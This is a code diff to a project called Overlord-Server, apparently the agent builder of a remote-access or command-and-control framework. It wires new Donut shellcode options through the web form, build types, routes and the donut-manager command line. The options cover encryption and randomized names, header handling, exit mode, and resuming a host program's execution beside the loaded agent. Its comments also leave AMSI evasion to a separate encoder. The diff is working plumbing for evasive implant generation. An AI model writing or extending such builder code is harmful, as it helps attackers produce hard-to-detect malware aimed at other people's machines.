diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index 8958075..93dd920 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -221,6 +221,11 @@ function collectBuildPluginSettings() {
function setBuildField(field, value) {
const fieldMap = {
useDonut: "#donut-mode",
+ donutSingleThreaded: "#donut-single-threaded",
+ donutExitMode: "#donut-exit-mode",
+ donutEntropy: "#donut-entropy",
+ donutPreserveHeaders: "#donut-preserve-headers",
+ donutResumeOffset: "#donut-resume-offset",
useLinuxShellcode: "#linux-shellcode-mode",
shellcodeConsole: "#shellcode-console",
useSgn: "#sgn-mode",
@@ -529,6 +534,11 @@ function collectFormSettings() {
outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false,
useDonut: document.getElementById("donut-mode")?.checked ?? false,
+ donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked ?? false,
+ donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
+ donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
+ donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked ?? false,
+ donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false,
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
useSgn: document.getElementById("sgn-mode")?.checked ?? false,
@@ -606,6 +616,11 @@ function applyFormSettings(settings) {
setCb("#donut-mode", settings.useDonut);
if (settings.useDonut) applyDonutMode(true);
}
+ if (settings.donutSingleThreaded !== undefined) setCb("#donut-single-threaded", settings.donutSingleThreaded);
+ if (settings.donutExitMode !== undefined) setVal("donut-exit-mode", settings.donutExitMode);
+ if (settings.donutEntropy !== undefined) setVal("donut-entropy", settings.donutEntropy);
+ if (settings.donutPreserveHeaders !== undefined) setCb("#donut-preserve-headers", settings.donutPreserveHeaders);
+ if (settings.donutResumeOffset !== undefined) setVal("donut-resume-offset", settings.donutResumeOffset);
if (settings.useLinuxShellcode !== undefined) {
setCb("#linux-shellcode-mode", settings.useLinuxShellcode);
if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true);
@@ -1815,6 +1830,11 @@ form?.addEventListener("submit", async (e) => {
: undefined,
iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
useDonut: document.getElementById("donut-mode")?.checked || false,
+ donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked || false,
+ donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
+ donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
+ donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked || false,
+ donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false,
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
useSgn: document.getElementById("sgn-mode")?.checked || false,
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index 8791844..ae20c34 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -696,6 +696,41 @@
Show console window — calls AllocConsole() on start (debug builds only)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Non-Windows targets selected — Donut only applies to Windows builds; other platforms build normally
diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts
index 6ce4706..6bf6313 100644
--- a/Overlord-Server/src/build/types.ts
+++ b/Overlord-Server/src/build/types.ts
@@ -46,6 +46,11 @@ export type BuildConfig = {
solRpcEndpoints?: string;
iosBundleId?: string;
useDonut?: boolean;
+ donutSingleThreaded?: boolean;
+ donutExitMode?: number;
+ donutEntropy?: number;
+ donutPreserveHeaders?: boolean;
+ donutResumeOffset?: number;
useLinuxShellcode?: boolean;
shellcodeConsole?: boolean;
useSgn?: boolean;
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 4d90837..27cfabe 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -117,6 +117,11 @@ type BuildProcessConfig = {
sleepSeconds?: number;
boundFiles?: BoundFile[];
useDonut?: boolean;
+ donutSingleThreaded?: boolean;
+ donutExitMode?: number;
+ donutEntropy?: number;
+ donutPreserveHeaders?: boolean;
+ donutResumeOffset?: number;
useLinuxShellcode?: boolean;
shellcodeConsole?: boolean;
useSgn?: boolean;
@@ -1873,7 +1878,13 @@ func runBoundFiles() {
}),
sendToStream,
);
- const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
+ const ok = await runDonut(filePath, binPath, donutArch, sendToStream, {
+ singleThreaded: config.donutSingleThreaded,
+ exitMode: config.donutExitMode,
+ entropy: config.donutEntropy,
+ preserveHeaders: config.donutPreserveHeaders,
+ resumeOffset: config.donutResumeOffset,
+ });
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
try { fs.unlinkSync(filePath); } catch {}
finalOutputName = scOutputName;
diff --git a/Overlord-Server/src/server/donut-manager.ts b/Overlord-Server/src/server/donut-manager.ts
index e80db0e..7d9dbde 100644
--- a/Overlord-Server/src/server/donut-manager.ts
+++ b/Overlord-Server/src/server/donut-manager.ts
@@ -204,6 +204,16 @@ export async function ensureDonut(
* host. We pick the best available for the host: -z 3 (LZNT1) on
* Windows, -z 2 (aPLib, cross-platform) elsewhere.
* -b 1 no AMSI/WLDP bypass — caller is responsible for evasion (e.g. SGN)
+ * -t single-threaded shellcode (optional, off by default)
+ * -x N exit mode (optional, default donut internal: 1=exit thread)
+ * 1 = exit thread, 2 = exit process, 3 = don't exit
+ * -e N entropy level (optional, default donut internal: 3=encrypt+randomize)
+ * 1 = none, 2 = random names only, 3 = random names + symmetric encryption
+ * -k N preserve PE headers (optional, default donut internal: 1=overwrite)
+ * 1 = overwrite (zero or decoy), 2 = keep all headers intact
+ * -y N resume host execution at offset (optional)
+ * creates a new thread for the loader, then continues host execution
+ * at the given file offset relative to the host's executable base
*
* Exit behavior defaults to "exit thread" (-x 1) when -x is omitted, which is
* what we want — prevents crashing the host process when the agent terminates.
@@ -230,6 +240,7 @@ export async function runDonut(
outputBin: string,
arch: "amd64" | "386",
sendToStream: (data: any) => void,
+ opts?: { singleThreaded?: boolean; exitMode?: number; entropy?: number; preserveHeaders?: boolean; resumeOffset?: number },
): Promise {
const bin = await ensureDonut(sendToStream);
if (!bin) {
@@ -239,10 +250,16 @@ export async function runDonut(
const archFlag = arch === "386" ? "1" : "2";
const compressFlag = process.platform === "win32" ? "3" : "2";
+ const extraFlags: string[] = [];
+ if (opts?.singleThreaded) extraFlags.push("-t");
+ if (opts?.exitMode !== undefined) extraFlags.push("-x", String(opts.exitMode));
+ if (opts?.entropy !== undefined) extraFlags.push("-e", String(opts.entropy));
+ if (opts?.preserveHeaders) extraFlags.push("-k", "2");
+ if (opts?.resumeOffset !== undefined) extraFlags.push("-y", String(opts.resumeOffset));
try {
// -i flag required since donut v1 (previously positional arg)
- const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 -o ${outputBin} -i ${inputPe}`
+ const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 ${extraFlags} -o ${outputBin} -i ${inputPe}`
.nothrow()
.quiet();
const stdout = result.stdout.toString().trim();
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 7c99d38..71e7509 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -203,6 +203,11 @@ export async function handleBuildRoutes(
boundFiles,
iosBundleId,
useDonut,
+ donutSingleThreaded,
+ donutExitMode,
+ donutEntropy,
+ donutPreserveHeaders,
+ donutResumeOffset,
useLinuxShellcode,
shellcodeConsole,
useSgn,
@@ -529,6 +534,11 @@ export async function handleBuildRoutes(
boundFiles: safeBoundFiles,
iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined,
useDonut: !!useDonut,
+ donutSingleThreaded: !!donutSingleThreaded,
+ donutExitMode: (donutExitMode === 1 || donutExitMode === 2 || donutExitMode === 3) ? donutExitMode : undefined,
+ donutEntropy: (donutEntropy === 1 || donutEntropy === 2 || donutEntropy === 3) ? donutEntropy : undefined,
+ donutPreserveHeaders: !!donutPreserveHeaders,
+ donutResumeOffset: typeof donutResumeOffset === "number" && Number.isFinite(donutResumeOffset) && donutResumeOffset > 0 ? donutResumeOffset : undefined,
useLinuxShellcode: !!useLinuxShellcode,
shellcodeConsole: !!shellcodeConsole,
useSgn: !!useSgn,